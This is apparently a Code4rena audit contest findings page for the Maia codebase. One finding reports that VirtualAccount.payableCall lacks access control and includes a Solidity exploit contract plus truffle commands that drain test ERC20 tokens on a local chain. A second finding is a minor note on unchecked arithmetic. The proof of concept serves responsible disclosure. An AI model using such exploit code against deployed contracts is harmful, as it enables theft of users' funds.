Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 130/175
Findings: 2
Award: $11.58
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85
Attacker can hijack the assets that VirtualAccount holds
The VirtualAccount.payableCall have no access control and can be called by anyone :
function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
this function later makes arbitrary call to calls.target with _call.callData,
if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
And since this contract is meant to hold ERC721, and ERC20 assets (that's why it has withdrawERC721 and withdrawERC20 functions which ensures so)
exploit.sol :
pragma solidity ^0.8.6; struct PayableCall { address target; bytes callData; uint256 value; } interface vuln { function payableCall(PayableCall[] calldata calls) external payable returns (bytes[] memory returnData) ; } contract exploit { PayableCall[] public payloads; bytes public s; function generate(address recipient, uint256 amount,address _target) external { bytes memory w = abi.encodePacked("transfer(address,uint256)",recipient,amount); PayableCall memory payload = PayableCall({ target : _target, callData : w, value : 0 }); payloads.push(payload); } function attack(vuln _vuln) public { vuln(_vuln).payableCall(payloads); } }
truffle commands :
truffle develop migrate --compile-all --reset //deploy (I unlocked 0xa270bb1241ff428927406e5fde47e7ea8592afb1) exploit.deployed().then(function(instance){exploit_=instance;}) VirtualAccount.deployed().then(function(instance){vaccount=instance;}) SimpleERC20.deployed().then(function(instance){token=instance;}) // mint the virtual account token.mint(VirtualAccount.address,1000,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"}) token.balanceOf(VirtualAccount.address) // will returns 1000 exploit_.generate("0xa270bb1241ff428927406e5fde47e7ea8592afb1",750,SimpleERC20.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"}) exploit.attack(VirtualAccount.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"}) // check balances token.balanceOf(VirtualAccount.address) token.balanceOf("0xa270bb1241ff428927406e5fde47e7ea8592afb1") // will returns 250, 750
Ganache and truffle
Make the function callable by authorized users only (like withdrawERC20 function)
Access Control
#0 - c4-pre-sort
2023-10-08T14:34:01Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:41:07Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:32:38Z
alcueca marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0xAadi, 0xDING99YA, 0xDemon, 0xRstStn, 0xSmartContract, 0xStriker, 0xWaitress, 0xbrett8571, 0xfuje, 0xsagetony, 0xsurena, 33BYTEZZZ, 3docSec, 7ashraf, ABA, ABAIKUNANBAEV, Aamir, Audinarey, Bauchibred, Black_Box_DD, Daniel526, DanielArmstrong, DanielTan_MetaTrust, Dinesh11G, Eurovickk, Franklin, Inspecktor, John, Jorgect, Joshuajee, K42, Kek, Koolex, LokiThe5th, MIQUINHO, Myd, NoTechBG, QiuhaoLi, SanketKogekar, Sathish9098, Sentry, Soul22, SovaSlava, Stormreckson, Tendency, Topmark, Udsen, V1235816, Viktor_Cortess, Viraz, Yanchuan, ZdravkoHr, Zims, albahaca, albertwh1te, alexweb3, alexxander, ast3ros, audityourcontracts, bareli, bin2chen, bronze_pickaxe, c0pp3rscr3w3r, cartlex_, castle_chain, chaduke, debo, ether_sky, gumgumzum, imare, its_basu, jaraxxus, jasonxiale, josephdara, kodyvim, ladboy233, lanrebayode77, lsaudit, mert_eren, minhtrng, n1punp, nadin, niroh, nmirchev8, orion, peakbolt, perseverancesuccess, pfapostol, ptsanev, rvierdiiev, saneryee, shaflow2, te_aut, terrancrypt, twcctop, unsafesol, ustas, versiyonbir, windhustler, yongskiws, zhaojie, ziyou-
11.4657 USDC - $11.47
Many functions uses the logic of (int - int > 0) in order the unchecked call does not overflow, e,g :
The if condition in that case will reverts if does not meet with no error given and the function call will fails, with no error given, this will results for confusing on users end, and will succeed (the call) only when the if condition meets, it's better to use another logic where if the "if" condition does not meet the call will succeed and not revert, and even if it does it will inform users why it has been revereted, example :
if (_amount - _deposit > 0) { unchecked { IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit); } }
when _deposit > amount, the call will fails with no revert message, for it to be used properly, better user one of the these logics :
if (_amount > _deposit ) { // this will never make "_deposit - _amount" underflow unchecked { IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit); } }
require(_amount - _deposit > 0,"deposit is higher that amount"); unchecked { IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit); }
#0 - c4-pre-sort
2023-10-15T13:17:44Z
0xA5DF marked the issue as sufficient quality report
#1 - alcueca
2023-10-21T12:55:57Z
So many words to say so little.
#2 - c4-judge
2023-10-21T12:56:03Z
alcueca marked the issue as grade-b